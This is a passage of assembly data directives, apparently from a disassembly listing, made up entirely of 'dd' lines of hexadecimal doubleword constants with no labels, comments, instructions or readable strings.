		dd 1CB58664h, 0F9F04C71h, 1018D304h, 0AC48D38Ch, 57C05290h
		dd 309C2D02h, 48AF49E1h, 91FF1198h, 0A02A80E4h,	68394103h
		dd 49659104h, 149261ACh, 214F207Ch, 400523Eh, 0E9372A03h
		dd 1C3CEE02h, 98D39BF6h, 9A06294Ah, 6C704918h, 8D440h
		dd 2B05B544h, 7297D393h, 3B9129C3h, 16800A3h, 5F0917AFh
		dd 0B9FE6E49h, 0F64D601h, 7E78A48Ch, 400D3182h,	0EC8079C5h
		dd 0ECC0CE0Ah, 5BAAD501h, 1197FD6Ch, 78228DD5h,	0D8199D00h
		dd 1055154Bh, 33E90DE4h, 648701E8h, 85C7F2EDh, 8AD913EDh
		dd 94A07094h, 7749038Ch, 0F800C891h, 1A8BA63Fh,	913500D2h
		dd 0BE69DD8Ah, 0F001AF88h, 2DAE1480h, 84488978h, 12490163h
		dd 68D6C603h, 0A0ABE0A7h, 0BCD8372Ah, 58B35B28h, 0EC4C992Ah
		dd 0C2BCF083h, 0C323E4B4h, 50B91ECAh, 7AC1436Eh, 0F18B9864h
		dd 0D8631800h, 845B913Ch, 491CFCE7h, 1A104CBAh,	62A0005Dh
		dd 60D7A720h, 0C257347Fh, 51B00851h, 71CD1A8Ch,	9F2A00CBh
		dd 451157D6h, 39F8A51Ch, 192F0603h, 0C8F70B77h,	217F9BCh
		dd 3C0D04E8h, 0E88F575Dh, 83055E87h, 0D90F99D3h, 0E0B00920h
		dd 0B6AE7F94h, 0E51A2217h, 0D3BAA700h, 54BD7816h, 135103CAh
		dd 0D0C3906Fh, 0FFCBA100h, 0EA019CFCh, 6A7D0E5Bh, 0D3CF07C6h
		dd 8061764Ch, 151656Fh,	1003F92Dh, 2FA1096h, 5C7F6408h
		dd 0D035FC46h, 278018F1h, 0A0963273h, 0E95D4DB8h, 8E5E518Eh
		dd 0CC9EA784h, 500026Ch, 5624EB6Eh, 0A1A41Ch, 0A60C31E5h
		dd 59F2EFAFh, 58906A26h, 682C2011h, 11E01814h, 0A13E5ECDh
		dd 4F3B4273h, 0C705DB80h, 99650B08h, 1F00CC92h,	9FDDB132h
		dd 58CBF85Ch, 61FEEF7h,	35D902A0h, 64C3BA8Eh, 7B6CCEC4h
		dd 36E59808h, 4ACA91EAh, 70FD94F1h, 13DFE0DEh, 7F6F8C8h
		dd 78D95C4Dh, 0C4A24FA2h, 1CCE3557h, 69607730h,	7A1DE4Eh
		dd 5942CDE3h, 553C603Ah, 0F91915BAh, 0D0E0848Ch, 0F165F08h
		dd 44004DEBh, 64F1E4A3h, 477F016h, 0D33F439h, 0B4BCCCAAh
		dd 4B5F5A00h, 0EE9486FBh, 0A90400F7h, 0FFF07E1Ch, 0B4263962h
		dd 79914855h, 0D1012400h, 9DA02654h, 0B0D5CE12h, 60A9840Ah
		dd 0D4406264h, 73C959BBh, 0E3569D00h, 1A86955Ch, 0AC23004Bh
		dd 0A3911E46h, 0F85854EDh, 808446A0h, 0FCC6983Dh, 0BA1200C2h
		dd 0BD34B7E7h, 0EF672A8h, 0C8198615h, 9CB900F4h, 75EF80F3h
		dd 0F480033h, 0B48DAACFh, 0EA00E025h, 3BB72E01h, 0E399D7h
		dd 0F8F14173h, 37C08685h
		dd 340F397Ch, 81CFDAECh, 33DD8E6Bh, 21E69C61h, 0EF9BE7B0h
		dd 80A0C0CCh, 98B22E5Eh, 9026A53Dh, 0E109EA36h,	302ECC4Fh
		dd 3482CF00h, 4CF85F85h, 64700850h, 0DF4188h, 0F19DE5Bh
		dd 0E48BABB9h, 0A7C7A400h, 33E7D6CFh, 9B411634h, 811C5C91h
		dd 0C8FAD96Ch, 0ECE1C66Fh, 0B8B831E1h, 0E61A1859h, 0F526B1h
		dd 3FC45674h, 0B34FB416h, 0AC12DCB0h, 0C0135F2Dh, 931AE456h
		dd 0C9109848h, 18B9032Ah, 69CB2D28h, 60AA78B9h,	3E001D40h
		dd 0FF3CC899h, 701190FEh, 19E80E32h, 6181E7F2h,	0D2D985A4h
		dd 0A8FCF440h, 8D029370h, 0E81871D7h, 0F018401Ch, 4531093Ch
		dd 10A0E09Fh, 8D7982A8h, 29376C30h, 18AFF470h, 1040320Eh
		dd 3DE0A974h, 309B7518h, 4DD908h, 3BD854DDh, 8D3EC841h
		dd 0CB10F560h, 0F4F89C9Fh, 919426D1h, 71A70E10h, 16923600h
		dd 5F6A3F9h, 0C72D3Bh, 93801C3h, 0A814B511h, 0AC33A4h
		dd 0C1D60628h, 95F6C860h, 0BDB95500h, 0D3325EFDh, 0A5E60013h
		dd 2CA71162h, 754CA368h, 886DC938h, 46800848h, 0C606DDFAh
		dd 2C289119h, 1A25C078h, 0C46248E1h, 90196B81h,	164D4FE4h
		dd 0E9D7AE2h, 0ED03BC9Ah, 30221924h, 61773AF1h,	0DD00AB40h
		dd 8FDEE289h, 0A504CBh,	11CD41BAh, 0D666C07Fh, 98D3EF3Bh
		dd 0A761E7F5h, 30537FE0h, 0A4B16358h, 60C81C25h, 4079446Ah
		dd 0B0D2AF23h, 8340154h, 0A03AE80Dh, 0B4735Eh, 1D8CFCB5h
		dd 48D4943h, 0E6B95C30h, 20BCC126h, 66021071h, 7C952CC5h
		dd 0B004E908h, 488852BDh, 3FB6F822h, 2301567Bh,	751245Dh
		dd 0F4E0C2CFh, 1922F892h, 5BF01FE3h, 82510EE9h,	2DFA09D6h
		dd 40AA7407h, 0B46CA0D0h, 0D775CCF2h, 14319900h, 0C2F0807Ch
		dd 1A100A8h, 0A955ECAEh, 58A057E1h, 0B426F067h,	8F3D084Ch
		dd 0F62A3h, 70297FEh, 7F9FA55h,	7FC701C4h, 11605A5Fh, 471E7B0Eh
		dd 0F00056EAh, 8E5B540Bh, 0A14E00ECh, 0C7D063B7h, 4D295A28h
		dd 0FA028475h, 0C4A3E8FFh, 0C5720ABCh, 87801h, 0CF4D9A86h
		dd 0B4900AEAh, 5E00F4B1h, 7A571578h, 1C9C00DBh,	179622D5h
		dd 409D474h, 48DFFB12h,	881B50F8h, 0DB61F911h, 2141C319h
		dd 329AD301h, 60800A54h, 18116CD2h, 84F2C300h, 0ED3DE77Eh
		dd 0F3B49800h, 6497C8BFh, 0F86653F8h, 0C665030Eh, 0A75D0523h
		dd 0A83881ECh, 8AF45C21h, 0D1060D05h, 0BD80D707h, 90C9E002h
		dd 0E41C5CE8h, 0ACC2C058h, 448E53E1h, 7A5B9703h, 966654D8h
		dd 7458A1E0h, 0D4F181D4h, 1FD0FB8Ch, 10D70001h,	0CFFF51E5h
		dd 0A712A908h, 0FC90A2FAh, 763EC4F2h, 0E4364805h, 89CF114h
		dd 0CA010200h, 84504C9Eh, 0FF619896h, 7C73617Fh, 0B2817809h
		dd 0CC091405h, 7000BA6Ch, 0F01C0DD7h, 52FFADh, 4941CFCBh
		dd 6DE509CEh, 0E118D005h, 0C40CC35Ah, 2E39BEh, 561085CAh
		dd 13B6A7F0h, 3E3A8300h, 0C770F872h, 247DB0A6h,	92ECF2C4h
		dd 3C5000A2h, 90A44164h, 12602C60h, 0C95A782Dh,	98101AE9h
		dd 91F0F244h, 0C271137Fh, 7C4CAD3Fh, 9BD3B20Dh,	0EC60C97Dh
		dd 0A62C88D0h, 40F09CA0h, 6F8DBCA0h, 0B5023BE6h, 0A3B10C48h
		dd 186478h, 7E0A385Fh, 0CF0441D8h, 3F44BB0Bh, 559003D2h
		dd 54E1902Dh, 4AE4A40Bh, 7FC44019h, 0A72E039Ah,	0ED89C717h
		dd 7096C404h, 0DA449241h, 15499CFBh, 97FAB380h,	0B98A5B16h
		dd 1E9F0924h, 591C11h, 0E8C063ADh, 1CB91Ah, 578F3B06h
		dd 0F900AEA9h, 82281F0Ch, 0FDACCBh, 499BBB56h, 0FFB48865h
		dd 5B139709h, 407C648Fh, 2589051Bh, 9C443CD1h, 3B0A5400h
		dd 0B00C60DDh, 6B13F1D4h, 0A446B3FAh, 0F9CB9C00h, 49BE2061h
		dd 0A26C0013h, 23998E64h, 3C01B865h, 11C897F4h,	0B9BDD7F6h
		dd 915E5700h, 3BAEFE0Ch, 39676800h, 7DEC1625h, 4CA709A8h
		dd 0E4828066h, 0F872770Eh, 5126DF42h, 22FD6400h, 0EF10C8F0h
		dd 0E414A3CDh, 0C14C6845h, 2CB39C14h, 201A2D2Ch, 891B08B0h
		dd 8A39001Ch, 6BD0587Eh, 50E0B943h, 384D4526h, 670C2011h
		dd 4748C54Ch, 0F00D00F9h, 0F5120CAFh, 0B4E1CFBBh, 0D180A4B4h
		dd 30FF9A27h, 11260072h, 3EEC1ECFh, 0A0C894A7h,	96C58321h
		dd 4D817C65h, 0DD6088BEh, 578009CBh, 0F466A812h, 270D3000h
		dd 6534F69Fh, 2FB938FFh, 0FBB8EB80h, 0F9CDE8EFh, 5E4DBC13h
		dd 9CF2CC20h, 0FC49D0C8h, 0E49FD384h, 5A4B80DCh, 0A012045Fh
		dd 0E8100421h, 0A3F3C5C4h, 99F280E4h, 960A0B6Ah, 884BB438h
		dd 0A0CAC5A0h, 0ACE8DD0Eh, 0F3A1A0C0h, 72F0E7ABh, 21465BE0h
		dd 0C5733968h, 0A1DCFC9Bh, 93DFA807h, 3E515288h, 0F820102Bh
		dd 4B0B096h, 5B1797FBh,	378C8C8Bh, 0E1E04086h, 89584958h
		dd 2504E877h, 0B99200F1h, 4EA5A4E3h, 70EA96D2h,	50337758h
		dd 7BE40AE0h, 8C99F129h, 745B4F04h, 5893B889h, 0AFD46017h
		dd 9BE8CF3Dh, 6C00824Ah, 0FAE4BEA2h, 150A0095h,	990C5E2Dh
		dd 20A4249h, 201AD6C6h,	261FAE40h, 6B4D003Ah, 0F92D5A02h
		dd 9CB2D648h, 0A7E8DF08h, 56AB4070h, 3C18AA08h,	0FF4912B5h
		dd 0FB180779h, 42732E49h, 166023EEh, 71019380h,	64304B4Dh
		dd 34301F06h, 7EEE15Bh,	9C6A220Dh, 2C166660h, 0A500FB71h
		dd 5C922A59h, 47FA1A7h,	0F638257h, 580C87B1h, 0B8E21A8Ah
		dd 91CAAB80h, 2AC473h, 0C636F3E6h, 0D8FE085h, 0B0C9D017h
		dd 92DB3040h, 0E87490C8h, 0E5F00508h, 8649ED3h,	0D780E128h
		dd 4762FF0Ah, 99E50029h, 0AA0DF02Ah, 0C8271E07h, 8F4C1091h
		dd 25AEA21h, 56FB783Fh,	0A8F00D85h, 0F800E790h,	7696C388h
		dd 915FA8h, 463C3965h, 0A664D6BDh, 0C85B3Ch, 11FB2B21h
		dd 3E8CFFCh, 4DD8349Dh,	19482076h, 0D49C0ACh, 40BF19h
		dd 3992319Fh, 0AC992B29h, 26444500h, 692E3D8Dh,	44624C0Ah
		dd 65041F82h, 97F21C40h, 0A0002891h, 8C73A1CFh,	0EDCB0FDBh
		dd 1B40784Dh, 0AAF230A5h, 331C1E14h, 1EE348D0h,	6B4B9EDBh
		dd 1334C416h, 405AEEh, 0E561F627h, 0A400726Ah, 258CE1EFh
		dd 504C1B6Fh, 8A48B094h, 11D61841h, 18E4A02Ch, 3890E212h
		dd 4C177F65h, 0D4901E96h, 37CD8AFh, 866573Ah, 7F12C3Bh
		dd 6429C3h, 13C88A3Ch, 47CC30h,	0F59FEF26h, 155B3D6Fh
		dd 84D8C26h, 3242C407h,	38C0F3D4h, 146AEBEFh, 0B0B559FDh
		dd 48610841h, 0CF991400h, 83E0B6CAh, 5E90B75Bh,	2437D780h
		dd 88054B0h, 1CB119C6h,	0F4490Eh, 0B42A1742h, 5C645C7Fh
		dd 0C2DBFBC2h, 0A7071844h, 81F76817h, 90F5A145h, 0ABC8FC00h
		dd 800894C3h, 0CEF4EB9Dh, 0A3004C35h, 0C1955323h, 0C8E629E5h
		dd 4680D650h, 0C064DF97h, 0ED1703A8h, 0CA1BDBAh, 974CC8CCh
		dd 0CD143104h, 0D882A952h, 0A4452016h, 0BFEC5989h, 622ED00h
		dd 982DE8F7h, 0B4F84C4Ch, 1A5C7D22h, 0F3058020h, 2CBC4C2Bh
		dd 5FCE341h, 0C47D3D18h, 0F944CC38h, 34C56612h,	91D38407h
		dd 0CB11247Ah, 4011AC1Ch, 3DF99C60h, 2A07888Bh,	0EF353732h
		dd 578AC9B1h, 0E407FC60h, 96F1247Ch, 5C4D425Ch,	0F8091CC4h
		dd 8BC4E8FFh, 0B5A41110h, 0E5016C32h, 0C5AF969Fh, 30A3F988h
		dd 4F0C15ACh, 11B4745Dh, 64949613h, 0A8949206h,	8B4474D9h
		dd 70947828h, 0C5D04B80h, 90BB7E9h, 9AF18055h, 60DC99h
		dd 0A0FC3CD0h, 4A7F6BB1h, 7848885Bh, 78BAF424h,	0A807DCA4h
		dd 204F0A3Bh, 0A72D6A65h, 26C07F2Eh, 0C5E09233h, 2C8A1Eh
		dd 7589D26h, 26753585h,	1044FB5h, 0FCC07922h, 0FC0CC197h
		dd 0C7F67FC9h
		dd 0CA12C88h, 11B4D238h, 0C576AA51h, 7C79A503h,	80577842h
		dd 543B25h, 0C38FE9FEh,	135AE191h, 0A55C0913h, 295DD005h
		dd 88A018D3h, 9F27633h,	97DB8301h, 0FC0A80Eh, 0B68BB5C6h
		dd 2732A001h, 9B795AFCh, 5CF21BE0h, 0A8018EADh,	1AA00E2Dh
		dd 71C57004h, 0C77F031Ch, 0D9985994h, 17E01D50h, 0B65B1F8Fh
		dd 22E302DEh, 20C42438h, 652DA105h, 0ECC87219h,	50B9B4h
		dd 73E29ACh, 0B7003B2Eh, 597A3FB0h, 7CFA4AFDh, 0A46C9CC0h
		dd 0D56B0090h, 4CDA1160h, 0B05858h, 0A2F0579Dh,	2601A0C8h
		dd 9054DEh, 0E53AE5Ch, 77014C9Eh, 0C77D0478h, 81924405h
		dd 0E7E4A0DCh, 0A0DEB809h, 0E0080B03h, 31652BF8h, 5AE8FC1Eh
		dd 99D311D4h, 0FFC0347Ch, 297998C9h, 11B32C07h,	3D90524Dh
		dd 7080E1Ah, 787A8D89h,	5020E15Bh, 0B98C454h, 47ED1113h
		dd 80D12C08h, 0F36FD88Fh, 1501BBD9h, 66CD10EFh,	0FF305E22h
		dd 4C3CFA48h, 0DD037480h, 37BC9B7Eh, 584C4CCh, 11339F08h
		dd 91002C14h, 874A7E38h, 320ED42Dh, 80EDA3D6h, 92F595E0h
		dd 7A7D12B8h, 0C4D0893Ch, 0D0CF580Eh, 1789E58Ah, 0E4C264D1h
		dd 0A38CFC30h, 0B8E3C598h, 0DDEF0070h, 0D60FF2C5h, 0B402D908h
		dd 0B56EF3E7h, 0CD386019h, 0B1F52511h, 1A4C8CC8h, 0DAF82284h
		dd 5DE5B001h, 1EB55E7Fh, 11E4862h, 863D8BBBh, 0A86AF018h
		dd 5C473F00h, 7FF3921Ch, 5C48E612h, 0A70428A6h,	927359B5h
		dd 7D207AC4h, 2CD57B07h, 1D27106h, 9C8B75B2h, 69207C2Fh
		dd 0A380031h, 13550557h, 881D885Dh, 0ECEED420h,	0A0E8A60Eh
		dd 0D3346008h, 2A77EAAh, 0E0F0684Ch, 84548E4Fh,	85CFF988h
		dd 0A70B4BE1h, 2CF00060h, 913892EBh, 0FC6C0F78h, 0E5071468h
		dd 725BE2ABh, 8BE8F080h, 0E0902BA8h, 3DC29108h,	820C289Ah
		dd 140C8808h, 617F780Ch, 5D6B0086h, 6CEA5E2Ch, 6F7B53FBh
		dd 0A72ACCF9h, 0EFC8D100h, 0F77B43C2h, 71090083h, 55E11446h
		dd 0C900112Ah, 6AB1D75Dh, 0EECDA90Fh, 8064A5A8h, 0CD787C25h
		dd 210B542Eh, 8984AD67h, 31E5006Eh, 4DC3B4FCh, 0A41E4436h
		dd 3EF86912h, 96CF2A80h, 0F862580Ch, 0C976BD78h, 0C7248B7Ch
		dd 55403019h, 30ABA0h, 0BB23CF0Eh, 0F3D6246Bh, 6AA39A00h
		dd 0A8FCB421h, 0E12F1E55h, 867580DAh, 0DD1A4DE4h, 0FBAB4802h
		dd 8005C98Dh, 0FC7B4494h, 1B9F01D0h, 68F0BBDBh,	33A84203h
		dd 20BC0888h, 54109514h, 8D0043CEh, 125F169Dh, 0A2811582h
		dd 430E6B3h, 0F6E596A0h, 0B3AC82D9h, 0A4033CF0h, 0C2CD9E2Dh
		dd 0DB1803D4h, 0DE879CD3h, 0F50D5809h, 2600684h, 51C282F1h
		dd 0C1FB0004h, 3B3F962Ah, 12F900B8h, 0F77C480Dh, 0B3A540D4h
		dd 0FF42B4B3h, 5A1C82A5h, 0F2A86092h, 40B09CD8h, 9D659659h
		dd 0F5AA40E1h, 0D8001660h, 9CB5534Ch, 70F1AAAh,	0E0A9FFA2h
		dd 0BCC654DBh, 0F91214E8h, 1776CFE8h, 5159001Ah, 950A8044h
		dd 7537BEC2h, 5E171000h, 0AF9C94E2h, 216B4A7Dh,	64149D60h
		dd 92000F68h, 3F8811FDh, 18A7F95h, 91B2B82Fh, 2DA3F90Eh
		dd 0C5FA0E7Ch, 66038001h, 5E7FC6D6h, 2CF04B58h,	4EE2464h
		dd 70CF7B16h, 916A9F00h, 9ECA6244h, 0CE6B42ACh,	9D5C2840h
		dd 0A3F8E407h, 5A091205h, 4B960h, 28CA4A2Fh, 2903BD72h
		dd 0A00D606Eh, 0F146E04Fh, 28C845BFh, 0D36E03A4h, 0A2162240h
		dd 44B05496h, 19A52066h, 0CBC33039h, 9A142611h,	0EF55B702h
		dd 72B58695h, 934032Ch,	922E7442h, 63AA81C0h, 0B3585890h
		dd 4D52C29h, 902CD000h,	98A70361h, 88088214h, 922F1480h
		dd 0AC76803Ch, 75321h, 3B3A16D1h, 9081DFE2h, 0A551FC0Bh
		dd 5EF4986Fh, 0F41207FDh, 85C55A28h, 0AE080476h, 41B881B4h
		dd 9008AD9Dh, 543F54h, 258D0EC4h, 0D3936EC7h, 0D19A69h
		dd 9E9985B8h, 55D8261Ch, 0CE750CBCh, 4205CD71h,	9ED33CABh
		dd 0A8BC88h, 91505713h,	5D085963h, 67D6BD14h, 12A843FCh
		dd 0B834F55Ah, 20D3E022h, 0E6E79E91h, 4FE4DF00h, 58A58ABAh
		dd 3B941201h, 20708A8Dh, 22AF94Fh, 9201D8E4h, 7816985Eh
		dd 0A2133020h, 5E40119h, 0ECF57D75h, 8B7029B5h,	392490C3h
		dd 0EF270095h, 94EEF39Ah, 16921557h, 9CF17E15h,	745E003Ch
		dd 0AD3CC059h, 50CCB4A7h, 7896C9CFh, 0C80F0CA6h, 0C4E844F7h
		dd 0A40168A3h, 4DBAF9D0h, 0AC2960h, 0CFC89AF4h,	1EE8280Fh
		dd 3461AA1Ch, 16F48268h, 44107611h, 0EE006454h,	6CB5B91Eh
		dd 9DA3B12Bh, 37332C90h, 0A4A96F00h, 0DFDDE18Eh, 0ADFA1685h
		dd 3B310055h, 0CF0FF9DAh, 8018CA4Ch, 0CC77A03h,	0D12A000Dh
		dd 5A548EC0h, 4C241496h, 7B036E72h, 0C02837A1h,	13641E6Ah
		dd 130CC6A4h, 4A743034h, 0B0008BD6h, 426DCB83h,	97E607h
		dd 129DF14Bh, 0C058CF01h, 0A4A1100h, 59086A4Dh,	0AFDD09A6h
		dd 8870FA3Bh, 90CC8407h, 0CD410437h, 96C0F993h,	0C4B425DBh
		dd 8400BC64h, 0CBB84876h, 32E574h, 0CFD98BF5h, 55BDDBBh
		dd 0F91CCD03h, 0A8D2D78Ah, 97F5220Ch, 0F713D803h, 774DC9B8h
		dd 7B3AB10Eh, 68C2559h,	0B0020E2h, 19FA2962h, 9B0A7263h
		dd 0F461075Ch, 0E2513340h, 5A380069h, 7F40C9C4h, 0C327F577h
		dd 3AB8A019h, 1887BE56h, 9EF467FBh, 2A0950ADh, 79B6A4E7h
		dd 0CE2DBC58h, 0F4F839h, 3F86C99h, 0E1553D57h, 810C194Eh
		dd 69DDF211h, 962D303Ch, 1597F928h, 1D895B11h, 0D8359D07h
		dd 18603B4Bh, 91887D9Eh, 41565BE1h, 8DF1FA60h, 65E1CF4Fh
		dd 0BDF02CD0h, 0B1C97830h, 149130h, 0E759B38Bh,	4E6C36h
		dd 1A7857EFh, 0B4FB4993h, 5644B0C8h, 7804499h, 0AB128EA8h
		dd 1F890222h, 2C297CE2h, 0B10B4760h, 63A6BD04h,	0C098D0AAh
		dd 0F3C81492h, 706EA499h, 0E441010Bh, 9C352088h, 24916F2Ch
		dd 0B10F4305h, 20625082h, 0E4F5B692h, 15B8BD0Fh, 4DC7E067h
		dd 4F4699Ah, 6409A354h,	906CC02Dh, 7A51779Eh, 82E07D3Ch
		dd 0F2C065A6h, 1780E0A4h, 20798F69h, 1492C64h, 0EA03E5Ch
		dd 0C592AAC2h, 70E23F3Ah, 6170F000h, 64822D58h,	6930D200h
		dd 3EBE41BAh, 0FBD090DDh, 76C023h, 7B9CB85Dh, 1E9A4C9Eh
		dd 0D758D00h, 0D1A2144Bh, 0CEE6C8h, 0AC9B6EDAh,	0F048461Dh
		dd 0DB1315E0h, 0DC08C98Fh, 0FB58CBBh, 25002DC9h, 0DE8A7AB3h
		dd 264AB957h, 5659ABh, 0EC9E4CA2h, 4B80BF9h, 72D63500h
		dd 0A9F4C913h, 0DC0149D0h, 0A0AC7112h, 0CCB8B37Ch, 0E44B7894h
		dd 0DB20354h, 616A1A72h, 4CE870F8h, 67C88800h, 0F15B0C0Bh
		dd 0B664E4D6h, 91004E10h, 9B0E653Ah, 0CE2D3B09h, 826899CBh
		dd 61FC032Ah, 303A5E80h, 4B58961Fh, 0FC85FC85h,	5721A0B2h
		dd 5AD0E9C9h, 9C84D20Ch, 43444070h, 4B16A73Fh, 0D4888465h
		dd 5878B249h, 9F289C09h, 9C44A02Ch, 3AFD0747h, 269AC55h
		dd 705917AFh, 846E600h,	0EA2C6EA6h, 5703129Eh, 8890D684h
		dd 7938BB42h, 551686C4h, 4D034C09h, 0A08B345Dh,	957F4Dh
		dd 924142EEh, 7D3D085Bh, 0B81ED71Eh, 103030BCh,	38B5E691h
		dd 0A141DB59h, 28340C28h, 0D9A71C23h, 9079757Fh, 97707124h
		dd 0B478D166h, 0E0C91015h, 90330753h, 903F2E67h, 0C3A5D7C4h
		dd 0D8B19104h, 0F0B1B03Ch, 2781306Ch, 60CE879Dh, 0CFB87DF1h
		dd 34BD3703h, 0B046256Eh, 2E33AD57h, 6434E614h,	7F48062h
		dd 0D832349Eh, 20051199h, 0D1CAFB2Ch, 0F1054674h, 91F75288h
		dd 7FABF4CCh, 73E80B34h, 74408FE3h, 0AF1063A4h,	5D8B33A0h
		dd 90F8F805h, 0FC0D90ECh
		dd 0E1A9C609h, 0C0CC5951h, 0B8F9CAA5h, 0F05A4D26h, 0E4CCA645h
		dd 0BEADE6CDh, 0C84A4788h, 0D9196882h, 7AC5684h, 62D4574Dh
		dd 0C859E9A7h, 0B6B92C00h, 2F8C654h, 73E16A1Ch,	7C41915Bh
		dd 0D719C678h, 8010B814h, 337276F2h, 4C2300FAh,	9B48C8E8h
		dd 7F03A918h, 20B2F708h, 2983A10Ch, 0D5040FAh, 0A1D760C3h
		dd 5C35A7A1h, 0EC616C08h, 64EB01E1h, 3B718051h,	0BB87E460h
		dd 0C1DE0E63h, 0E6206F48h, 0A327B55Ah, 1F00C5B8h, 9A670D2Ah
		dd 0F9FC7Eh, 171E339Fh,	975BAB68h, 0D192FA00h, 0C531D5FBh
		dd 39F04CAh, 874E02F3h,	81757068h, 20002269h, 0A0A4152Ah
		dd 14350631h, 0C0038E60h, 8078CF1Fh, 8D218147h,	9B01757Ah
		dd 98F21EB3h, 31D0C3E7h, 0D972034Dh, 5A19F661h,	0A70103F8h
		dd 53573A03h, 0B0895CA9h, 0B5340792h, 59C3C823h, 0F28D0193h
		dd 5EA000B4h, 0D2E32BD0h, 667C025Ch, 56F0334Dh,	12A75860h
		dd 92009970h, 0EF4590Bh, 34C9A9Fh, 0A196A6F0h, 54BB5F15h
		dd 0F8995CD1h, 577BC3F8h, 0F854329Fh, 5C8E7148h, 0C844405Dh
		dd 4E1D1EFEh, 7968026h,	7FB72D15h, 9822625Ah, 58DD309Ah
		dd 89B4130h, 4E63E190h,	7900C84Fh, 0E2017EF8h, 0BD822A17h
		dd 0DCC00387h, 51D060C2h, 604AF0F9h, 0F3289E01h, 0E52774C0h
		dd 25CCFCF8h, 9C11D7A8h, 2E880761h, 0C148BCh, 627EC254h
		dd 57258652h, 9BC1505h,	3058A4B0h, 2EBC9495h, 1120369Dh
		dd 0C1887F2Dh, 0B8D900C4h, 75FE3D27h, 0F515249Ch, 0F0382D57h
		dd 5497FCB3h, 48FE6810h, 7281E4A6h, 2C9A068Ch, 0FF121640h
		dd 1B5A088h, 0A3B12880h, 77B8C301h, 0B4DE2218h,	91C24010h
		dd 3600417Bh, 4C3CE523h, 0E520583h, 0A6F9CBFCh,	93908052h
		dd 2F26D6E3h, 0A1014C07h, 0F8CBB22h, 0B700D863h, 3850590Eh
		dd 1A1ED5FFh, 4C0ED82h,	0B6D4D320h, 0E0C10540h,	0E380135Ah
		dd 9A1011Ch, 859DD35Ch,	3B0E1A6h, 0FBBF5B4Dh, 3B02A9E0h
		dd 0E9A8FC00h, 721306D8h, 8058D69Dh, 16778880h,	0B820D25Eh
		dd 9107EAh, 0AA299244h,	0E08B9C13h, 9300EE76h, 1DCEA1FBh
		dd 0C0188Dh, 0B45DAB5Bh, 1F9FE0FEh, 21000CECh, 0C2A7DB79h
		dd 0D0BC647Fh, 0E6C0ECA9h, 0A44AAB39h, 95DB5100h, 0B540DFF3h
		dd 60705A8Bh, 0DDA0E68Ch, 31C0062Eh, 0B017C600h, 4A68Eh
		dd 86399EE7h, 87ACFC3Ah, 1C0F9C7Dh, 8FA0A7F1h, 6A048E12h
		dd 934FECFEh, 23FECC8h,	0E8D2E799h, 8C8C564Eh, 76002079h
		dd 0BA832F88h, 349403h,	0D7423D25h, 69049AF9h, 6309A600h
		dd 0F34D61ABh, 0A0F103D9h, 0EA08CE19h, 0E76952C8h, 3C16E03Ch
		dd 0F6A0089h, 0F960CC64h, 400300B1h, 0A0A51202h, 0C41E8B1Bh
		dd 97C3A70Ah, 4B8AC9D0h, 0C400911h, 4B3DB4C4h, 50028409h
		dd 0EB848B96h, 849E880h, 65303A4Ch, 56644897h, 5D4430ACh
		dd 3DECC1B0h, 11762C1Fh, 0F4122DC2h, 612CDEE4h,	60633528h
		dd 887027B0h, 0E946FC09h, 2170502Bh, 443C7F95h,	0F56700D6h
		dd 0A0B8D13Eh, 77EA0D69h, 0A3B56B09h, 13ECF162h, 975CB30Eh
		dd 7622F48Eh, 0FCEDE400h, 0FA65DE5Bh, 0F86C2795h, 5FBEFC24h
		dd 3B815400h, 0F4AD27Ah, 8B6F2A9Bh, 9088A1A0h, 804FBC34h
		dd 640604ACh, 0F84CB2F0h, 0D3133942h, 0A2A82092h, 91E25711h
		dd 0A008490h, 9FF72BB4h, 2FF9931Bh, 14056EDEh, 5B080533h
		dd 1114048Fh, 4CFCA9FDh, 0C960C0B0h, 0C6DB90h, 0FA16F2A1h
		dd 640C8D9Ch, 3470109Fh, 0D12C0114h, 7D0DC1F1h,	0A203EC48h
		dd 4769C601h, 26C39228h, 783C4B2Ah, 188F7848h, 247C0E00h
		dd 0C7CE6E95h, 4A9A00DEh, 0A0E198F0h, 4C02AF37h, 0A5045D72h
		dd 3CA09896h, 8C400366h, 0F1FAB868h, 91BF6198h,	0BC7DA92Ch
		dd 0A7F02427h, 2CD3F080h, 1E1475FDh, 43EF6874h,	0A859F5E0h
		dd 0EC41A5FAh, 90283A5Eh, 10D00113h, 4C18A41Bh,	0B16630EFh
		dd 0D4B32C26h, 0E9D3AC00h, 2A55F5CEh, 0B60874A0h, 2053088Ch
		dd 88D6497h, 2CF8223Bh,	36CAFF40h, 0AFDD4900h, 0D0A3E58Ah
		dd 4218BC95h, 188E56E1h, 0D9638006h, 0A8122AF0h, 8404856Ch
		dd 0A423E2F6h, 8090FBC2h, 19F24F3Bh, 29CE45Ch, 0DD48E172h
		dd 0FC08C807h, 0C5FD17B2h, 0E7389291h, 84185610h, 0F27ACA01h
		dd 2D3C8C81h, 978D4AC0h, 4BF0084h, 0FC577Fh, 0FC7820D2h
		dd 93004984h, 6B40248Eh, 0E60F96BFh, 0A7662EE5h, 0A25900F7h
		dd 4BB1379Eh, 0A086317h, 9677342Ch, 0D2B98070h,	3C4A83A3h
		dd 0AED0FA09h, 3A545114h, 51817C3Dh, 160CF113h,	0B584206Ah
		dd 95B69905h, 0FCF83824h, 68A4FB00h, 0C2069FFFh, 5BF1BE01h
		dd 0CC39DDBh, 0A684327Fh, 8B5A3C81h, 816C6806h,	1E4D32C9h
		dd 0DF68ECh, 2C9CD1D3h,	5901C75Fh, 0B6315B09h, 6B3D0655h
		dd 3A382A80h, 0C01F456Ch, 604C8BF1h, 49B500BAh,	763BB7CAh
		dd 0E0F25812h, 7F9061D6h, 80D83C60h, 9EC305B6h,	0B10F254Dh
		dd 17DB88E1h, 7297814Fh, 653AB865h, 8098BD28h, 0F512B4F0h
		dd 0E338D31Fh, 0AE7800BCh, 0D9E481D3h, 2BAC0FC1h, 0E6E0798Ah
		dd 2203D5FAh, 73A23F00h, 1FDB153Dh, 5CA51DFFh, 52044005h
		dd 0F1E00793h, 2125AA0Eh, 604DE023h, 3B5FC22h, 5A9AF234h
		dd 55B0564Bh, 54B8A959h, 0F873252Bh, 0BB7CBE80h, 0B0E3BA5h
		dd 9DF17F55h, 2779099h,	416C7EB8h, 41C76480h, 14659674h
		dd 0D0064E2h, 1BC1BF0Bh, 6E004199h, 0DC986B3Fh,	7B02ED0h
		dd 0CEFAB370h, 18FE20CAh, 0F80BDB76h, 8316753Ch, 12CF1B74h
